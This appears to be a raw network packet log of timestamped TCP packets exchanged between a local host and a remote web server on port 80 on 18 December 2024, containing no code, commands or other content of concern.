                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.668287992 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.669167995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.669282913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.669440031 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.670350075 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.670383930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.670610905 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.671488047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.671789885 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.671847105 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.672643900 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.672761917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.673005104 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.673774004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.673888922 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.674099922 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.674915075 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.675034046 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.675097942 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.676069975 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.676198006 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.677037001 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.677232027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.677346945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.677396059 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.678376913 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.678508997 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.678690910 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.679559946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.679685116 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.679737091 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.680654049 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.680824041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.680968046 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.681844950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.681936979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.681987047 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.682988882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.683083057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.683135986 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.684109926 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.684231997 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.684403896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.685283899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.685441971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.685489893 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.686476946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.686558008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.686784029 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.687599897 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.687732935 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.687777996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.688761950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.688905954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.689054012 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.689867020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.689923048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.689970016 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.691037893 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.691138029 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.691296101 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.692183971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.692271948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.692383051 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.693317890 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.693443060 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.693526030 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.694495916 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.694556952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.694713116 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.695708036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.695817947 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.695967913 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.696741104 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.696842909 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.696930885 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.698122978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.698246956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.698299885 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.699090004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.699189901 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.699238062 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.700251102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.700337887 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.700440884 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.701380014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.701491117 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.701540947 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.702544928 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.702672005 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.702721119 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.703715086 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.703799009 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.703846931 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.704822063 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.704941988 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.704992056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.705988884 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.706123114 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.706252098 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.707137108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.707303047 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.707361937 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.708355904 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.708565950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.708620071 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.709450960 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.709548950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.709655046 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.710597038 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.750178099 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.841466904 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.841571093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.841615915 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.841850996 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.842024088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.842063904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.842122078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.843184948 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.843233109 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.843267918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.844337940 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.844386101 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.844453096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.845500946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.845556974 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.845602036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.846625090 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.846677065 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.846741915 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.847796917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.847846031 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.847847939 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.848948956 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.848997116 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.849011898 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.850068092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.850121021 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.850168943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.851249933 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.851308107 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.851376057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.852380037 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.852425098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.852440119 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.853528023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.853579998 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.853606939 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.854756117 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.854799986 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.854829073 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.855846882 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.855896950 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.856002092 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.857007980 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.857060909 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.857146978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.858128071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.858179092 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.858340025 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.859308004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.859361887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.859525919 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.860455036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.860500097 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.860528946 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.861567020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.861615896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.861676931 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.862730026 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.862777948 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.862834930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.863915920 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.863938093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.863965988 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.865022898 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.865075111 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.865082979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.866225004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.866274118 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.866302013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.867341995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.867398024 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.867403984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.868552923 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.868604898 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.868688107 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.869805098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.869848967 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.869904995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.870862961 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.870923042 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.870955944 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.871997118 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.872049093 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.872121096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.873152018 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.873200893 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.873358011 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.874269962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.874317884 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.874408007 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.875412941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.875504971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.875524044 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.876574993 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.876666069 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.876672983 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.877742052 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.877794027 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.877815962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.878978014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.879026890 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.879071951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.880012035 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.880063057 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.880089045 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.881205082 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.881262064 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.881438971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.882344961 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.882399082 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.882409096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.883466959 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.883518934 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.883589983 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.884737968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.884788990 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.884845018 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.885804892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.885857105 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.885864019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.886950970 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.886995077 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.887027979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.888115883 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.888175011 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.888192892 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.889256954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.889312029 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.889357090 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.890405893 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.890465021 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.890480042 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.891566038 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.891614914 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.891644955 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.892671108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.892723083 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.892750978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.893826008 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.893886089 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.893929005 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.894982100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.895139933 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.895564079 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.896188021 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.896240950 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.896264076 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.897264957 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.897335052 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.897372007 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.898458004 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.898474932 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.898511887 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.899611950 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.899660110 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.899668932 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.900788069 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.900896072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.900902033 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.953283072 CET4980780192.168.2.584.200.24.191
